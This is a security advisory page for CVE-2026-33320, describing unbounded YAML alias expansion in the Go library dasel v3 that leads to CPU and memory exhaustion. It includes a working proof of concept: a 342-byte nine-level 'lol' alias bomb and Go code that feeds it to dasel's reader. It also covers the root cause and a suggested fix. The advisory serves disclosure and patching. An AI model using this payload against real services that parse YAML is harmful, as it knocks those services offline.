GHSA-4FCP-JXH7-23X8

Vulnerability from github – Published: 2026-03-19 12:50 – Updated: 2026-03-25 21:35
VLAI
Summary
Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service
Details

Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

The root cause is that go-yaml v4 has two decoding paths:

  1. Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
  2. Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
  • go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/tomwright/dasel/v3/parsing"
    _ "github.com/tomwright/dasel/v3/parsing/yaml"
    "go.yaml.in/yaml/v4"
)

func main() {
    payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

    fmt.Printf("Payload size: %d bytes\n", len(payload))
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    // 1. go-yaml v4 Unmarshal correctly rejects this
    fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
    {
        var v interface{}
        start := time.Now()
        err := yaml.Unmarshal([]byte(payload), &v)
        elapsed := time.Since(start)
        if err != nil {
            fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
        } else {
            fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
        }
    }
    fmt.Println()

    // 2. Dasel's YAML reader is vulnerable
    fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
    done := make(chan string, 1)
    go func() {
        reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
        if err != nil {
            done <- fmt.Sprintf("Error creating reader: %v", err)
            return
        }
        start := time.Now()
        _, err = reader.Read([]byte(payload))
        elapsed := time.Since(start)
        if err != nil {
            done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
        } else {
            done <- fmt.Sprintf("Completed in %v", elapsed)
        }
    }()

    select {
    case result := <-done:
        fmt.Println(result)
    case <-time.After(5 * time.Second):
        fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
    }
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The parse("yaml", ...) function in selectors

Suggested Fix

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:50:57Z",
    "nvd_published_at": "2026-03-24T01:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dasel`\u0027s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library\u0027s own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4\u0027s built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n    newVal := \u0026yamlValue{}\n    if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n        return err\n    }\n    yv.value = newVal.value\n    yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: \u0026a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), \u0026v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel\u0027s YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone \u003c- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := \u003c-done:\n\t\tfmt.Println(result)\n\tcase \u003c-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042\u00b5s: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library\u0027s own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel\u0027s YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4\u0027s internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
  "id": "GHSA-4fcp-jxh7-23x8",
  "modified": "2026-03-25T21:35:31Z",
  "published": "2026-03-19T12:50:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…